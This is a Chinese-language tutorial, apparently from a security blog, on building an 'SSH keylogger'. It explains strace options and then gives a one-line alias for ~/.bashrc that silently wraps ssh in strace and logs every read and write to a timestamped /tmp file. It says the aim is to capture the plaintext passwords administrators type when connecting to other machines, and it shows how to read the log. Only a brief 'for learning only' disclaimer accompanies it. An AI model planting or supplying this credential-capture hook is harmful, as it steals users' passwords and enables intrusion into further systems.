简介
SSH Keylogger终端切换用户记录用户输入的终端信息可获取密码
主要利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
Strace
strace命令是一个集诊断、调试、统计于一体的工具,常用来跟踪进程执行时的系统调用和所接收的信号,可以用它来监控用户空间进程和内核的交互。
参数:
-c 统计每一系统调用的所执行的时间,次数和出错的次数等.
-d 输出strace关于标准错误的调试信息.
-f 跟踪由fork调用所产生的子进程.
-i 输出系统调用的入口指针.
-q 禁止输出关于脱离的消息.
-r 打印出相对时间关于,,每一个系统调用.
-t 在输出中的每一行前加上时间信息.
-T 显示每一调用所耗的时间.
-e expr 指定一个表达式,用来控制如何跟踪.格式:[qualifier=][!]value1[,value2]
-e trace=process 只跟踪有关进程控制的系统调用.
-e trace=network 跟踪与网络有关的所有系统调用.
-e strace=signal 跟踪所有与系统信号有关的系统调用.
-e trace=ipc 跟踪所有与进程通讯有关的系统调用.
-e abbrev=set 设定strace输出的系统调用的结果集.-v 等于abbrev=none.默认为abbrev=all.
-e raw=set 将指定的系统调用的参数以十六进制显示.
-o filename 将strace的输出写入文件filename
-p pid 跟踪指定的进程pid.
-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
-u username 以username的UID和GID执行被跟踪的命令
SSH Keylogger
首先确保Linux主机已经安装strace工具并且能够正常使用
编辑用户家目录文件夹中的一个隐藏文件 '.bashrc' 并添加如下代码
vi .bashrc
#添加
alias ssh='strace -o /tmp/ssh-`date "+%m-%d-%H-%M"`.log -e read,write -s200 ssh'
#%m 表示月
#%d 表示日
#%H 表示小时
%M 表示分钟
运行命令 'source .bashrc' 是配置生效
source .bashrc
source命令用于重新执行修改的初始化文件使之立即生效,而不必注销并重新登录
'.bashrc' 文件就相当于 shell 的配置文件
Linux 系统中有很多 shell,包括bash,sh,zsh,dash等,不管哪种 shell 都会有一个
.bashrc
的隐藏文件,主要保存个人的一些个性化设置,如命令别名、路径等
然后再尝试使用ssh命令登录到其他的用户
则会在将交互时的所有信息保存在 /tmp 目录下的一个文件中,可以自己指定生成的文件路径
cat /tmp/ssh-11-16-06-05.log
终端中输入密码时不可见,但是输入的密码键盘记录会保存在文件当中,终端中的所有显示同样会保存在文件当中。
但是好像只能在当前用户的终端进行ssh命令才会记录相关信息,不在用户的终端中进行正常的ssh连接则不会记录相关的信息。
声明
提供的技术仅供学习参考测试,利用本文提供的信息造成的直接或间接损失由使用者自行承担。
结语
没有那么多天赋异禀,优秀的人总是努力地翻山越岭。